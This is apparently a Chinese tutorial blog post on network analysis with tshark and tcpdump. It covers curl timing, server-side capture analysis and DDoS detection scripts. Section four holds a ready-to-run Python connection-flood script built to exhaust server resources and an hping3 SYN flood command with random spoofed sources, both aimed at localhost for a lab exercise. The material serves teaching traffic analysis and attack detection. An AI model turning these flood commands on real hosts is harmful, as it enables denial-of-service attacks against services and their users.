tshark + tcpdump 入门实战笔记:从网站分析到 DDoS 模拟


tshark + tcpdump 实战笔记:从网站分析到 DDoS 模拟

环境说明

  • 操作系统:CentOS 7
  • 服务端网卡:eth0(示例)
  • 客户端测试机:任意 Linux
  • 目标网站:example.com(实际请替换)

一、安装 tshark 和 tcpdump

bash 复制代码
# 安装 epel 源
sudo yum install epel-release -y

# 安装 wireshark(含 tshark)和 tcpdump
sudo yum install wireshark tcpdump -y

# 验证
tshark -v
tcpdump -v

二、客户端分析:curl 时间分解

1. 创建 curl 格式化模板

bash 复制代码
cat > curl-format.txt << 'EOF'
    time_namelookup:  %{time_namelookup}\n
       time_connect:  %{time_connect}\n
    time_appconnect:  %{time_appconnect}\n
   time_pretransfer:  %{time_pretransfer}\n
      time_redirect:  %{time_redirect}\n
 time_starttransfer:  %{time_starttransfer}\n
                    ----------\n
         time_total:  %{time_total}\n
EOF

2. 测试目标网站

bash 复制代码
curl -w "@curl-format.txt" -o /dev/null -s "http://example.com/test"

输出示例:

复制代码
time_namelookup:  0.003
time_connect:     0.025
time_starttransfer: 0.218
time_total:       0.245

指标含义:

  • time_namelookup:DNS 解析耗时
  • time_connect:TCP 三次握手耗时
  • time_starttransfer:从开始到收到第一个字节(TTFB)
  • time_total:总耗时

三、服务端抓包分析(配合 tcpdump + tshark)

场景:定位服务端性能瓶颈

1. 服务端抓包(假设客户端 IP 为 192.168.1.100)
bash 复制代码
# 实时抓取与该客户端的交互
sudo tcpdump -i eth0 -s 1500 -w server_trace.pcap host 192.168.1.100 and port 80
2. 分析 TCP 握手耗时
bash 复制代码
tshark -r server_trace.pcap -Y "tcp.flags.syn==1 or tcp.flags.ack==1" \
  -T fields -e frame.time_relative -e tcp.stream -e tcp.flags.syn -e tcp.flags.ack | awk '
BEGIN { stream_time=0 }
{
    if ($3==1 && $4==0) { syn_time=$1; stream=$2 }
    if ($3==1 && $4==1 && stream==$2) { 
        handshake = $1 - syn_time; 
        printf "Stream %d 握手耗时 = %.6f 秒\n", stream, handshake
    }
}'
3. 计算 TTFB(服务端处理时间)
bash 复制代码
tshark -r server_trace.pcap -Y "http.request or http.response" \
  -T fields -e frame.time_relative -e http.request.method -e http.request.uri -e http.response.code | awk '
/request/ { req_time=$1; req_uri=$3 }
/response/ { 
    ttfb = $1 - req_time; 
    printf "请求 %s  TTFB = %.6f 秒\n", req_uri, ttfb
}'
4. 自动分析脚本 server_analyze.sh
bash 复制代码
#!/bin/bash
PCAP=$1
CLIENT_IP=$2

echo "服务端分析报告"
SYN_TIME=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and ip.src==$CLIENT_IP" -T fields -e frame.time_relative 2>/dev/null | head -1)
SYNACK_TIME=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and tcp.flags.ack==1 and ip.dst==$CLIENT_IP" -T fields -e frame.time_relative 2>/dev/null | head -1)
if [ -n "$SYN_TIME" ] && [ -n "$SYNACK_TIME" ]; then
    echo "TCP握手耗时: $(echo "$SYNACK_TIME - $SYN_TIME" | bc) 秒"
fi

REQ_TIME=$(tshark -r $PCAP -Y "http.request" -T fields -e frame.time_relative 2>/dev/null | head -1)
RESP_FIRST=$(tshark -r $PCAP -Y "http.response" -T fields -e frame.time_relative 2>/dev/null | head -1)
if [ -n "$REQ_TIME" ] && [ -n "$RESP_FIRST" ]; then
    echo "TTFB: $(echo "$RESP_FIRST - $REQ_TIME" | bc) 秒"
fi

RETRANS=$(tshark -r $PCAP -Y "tcp.analysis.retransmission" 2>/dev/null | wc -l)
echo "TCP重传次数: $RETRANS"

运行:

bash 复制代码
chmod +x server_analyze.sh
./server_analyze.sh server_trace.pcap 192.168.1.100

四、模拟 DDoS 攻击并抓包分析

1. 在服务器上启动抓包

bash 复制代码
sudo tcpdump -i eth0 -s 1500 -w ddos_attack.pcap 'tcp port 80' &

2. 使用 Python 模拟高并发攻击(本机 127.0.0.1)

bash 复制代码
python3 -c "
import socket, threading, time

def flood():
    while True:
        try:
            s = socket.socket()
            s.connect(('127.0.0.1', 80))
            s.send(b'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n')
            # 不关闭连接,耗尽资源
        except:
            pass

for i in range(500):
    threading.Thread(target=flood, daemon=True).start()
print('攻击中... 按 Ctrl+C 停止')
time.sleep(999999)
"

3. 使用 hping3 发起 SYN Flood(需要安装)

bash 复制代码
sudo hping3 -S -p 80 --flood --rand-source 127.0.0.1

4. 使用 ab 进行压力测试

bash 复制代码
ab -n 10000 -c 100 http://127.0.0.1/

5. 实时观察连接状态

bash 复制代码
watch -n 1 'ss -tan | grep :80 | wc -l'

6. tshark 分析 DDoS 抓包文件

6.1 查看基本信息
bash 复制代码
capinfos ddos_attack.pcap
6.2 TCP 标志位统计(识别攻击类型)
bash 复制代码
tshark -r ddos_attack.pcap -Y "tcp" -T fields -e tcp.flags | sort | uniq -c | sort -rn
6.3 统计半开连接(SYN Flood 特征)
bash 复制代码
SYN=$(tshark -r ddos_attack.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==0" 2>/dev/null | wc -l)
SYNACK=$(tshark -r ddos_attack.pcap -Y "tcp.flags.syn==1 and tcp.flags.ack==1" 2>/dev/null | wc -l)
echo "SYN: $SYN, SYN+ACK: $SYNACK, 半开比例: $(echo "scale=2; $SYN*100/($SYN+$SYNACK)" | bc)%"
6.4 攻击源 IP TOP 10
bash 复制代码
tshark -r ddos_attack.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -10
6.5 自动识别攻击类型脚本 ddos_detect.sh
bash 复制代码
#!/bin/bash
PCAP=$1
TOTAL=$(tshark -r $PCAP 2>/dev/null | wc -l)
SYN=$(tshark -r $PCAP -Y "tcp.flags.syn==1 and tcp.flags.ack==0" 2>/dev/null | wc -l)
ACK=$(tshark -r $PCAP -Y "tcp.flags.ack==1 and tcp.flags.syn==0 and tcp.flags.reset==0" 2>/dev/null | wc -l)
UDP=$(tshark -r $PCAP -Y "udp" 2>/dev/null | wc -l)

echo "SYN占比: $(echo "scale=2; $SYN*100/$TOTAL" | bc)%"
echo "ACK占比: $(echo "scale=2; $ACK*100/$TOTAL" | bc)%"
if (( $(echo "$SYN > $TOTAL*0.5" | bc -l) )); then
    echo "检测到 SYN Flood 攻击"
elif (( $(echo "$ACK > $TOTAL*0.5" | bc -l) )); then
    echo "检测到 ACK Flood 攻击"
else
    echo "非典型 DDoS 或正常流量"
fi

运行:

bash 复制代码
chmod +x ddos_detect.sh
./ddos_detect.sh ddos_attack.pcap

五、实战案例分析(脱敏)

以下是一次真实抓包的输出示例(已脱敏):

复制代码
=== 抓包文件基本信息 ===
File name:           ddos_attack.pcap
Number of packets:   484
Capture duration:    154 seconds
Average packet rate: 3 packets/sec

=== 协议分布 ===
eth   frames:484 bytes:197644
  ip  frames:484 bytes:197644
    tcp frames:484 bytes:197644
      ssh   frames:233 bytes:157970
      http  frames:10  bytes:16946

结论: 该流量为正常的 SSH + HTTP 混合流量,非 DDoS。真正的攻击需要更高的包速率(>1000 pps)和明显的半开连接比例。


六、常用 tshark 过滤表达式速查

目的 表达式
只显示 HTTP 请求 -Y "http.request"
显示 SYN 包 -Y "tcp.flags.syn==1 and tcp.flags.ack==0"
显示 RST 包 -Y "tcp.flags.reset==1"
按源 IP 过滤 -Y "ip.src==192.168.1.100"
提取字段 -T fields -e ip.src -e http.request.uri
统计会话 -z conv,tcp
统计每秒包数 -z io,stat,1

七、注意事项

  • 抓包请勿在生产环境随意发起 DDoS 攻击,应在隔离测试环境中进行。
  • 所有 IP、域名已替换为示例值,实际操作请替换为真实地址。
  • 大流量抓包时注意磁盘空间,建议使用 -C-G 参数滚动保存。

相关推荐
在学了加油2 小时前
ResNet50V2学习笔记
笔记·学习
wljt2 小时前
Spring boot学习笔记六:SpringBoot实用技术整合
spring boot·笔记·学习
上海云盾-小余2 小时前
UDP 洪水 DDoS 常态化攻击下,游戏与短剧服务器防护选型指南
游戏·udp·ddos
MY_TEUCK2 小时前
【Agent Skills学习笔记】2小时从会用到会造:什么是Skills?怎么用?怎么写?
人工智能·笔记·学习
skilllite作者2 小时前
SkillLite 技术演进笔记:Workspace、沙箱与进化
java·开发语言·前端·笔记·安全·agentskills
明月清了个风2 小时前
libmodbus笔记
笔记·嵌入式软件·libmodbus
YaBingSec3 小时前
玄机靶场-第三届-长城杯-初赛-SnakeBackdoor WP
java·运维·笔记·tomcat·ssh
handler0112 小时前
从源码到二进制:深度拆解 Linux 下 C 程序的编译与链接全流程
linux·c语言·开发语言·c++·笔记·学习
寒秋花开曾相惜15 小时前
(学习笔记)4.1 Y86-64指令集体系结构(4.1.4 Y86-64异常&4.1.5 Y86-64程序)
开发语言·jvm·数据结构·笔记·学习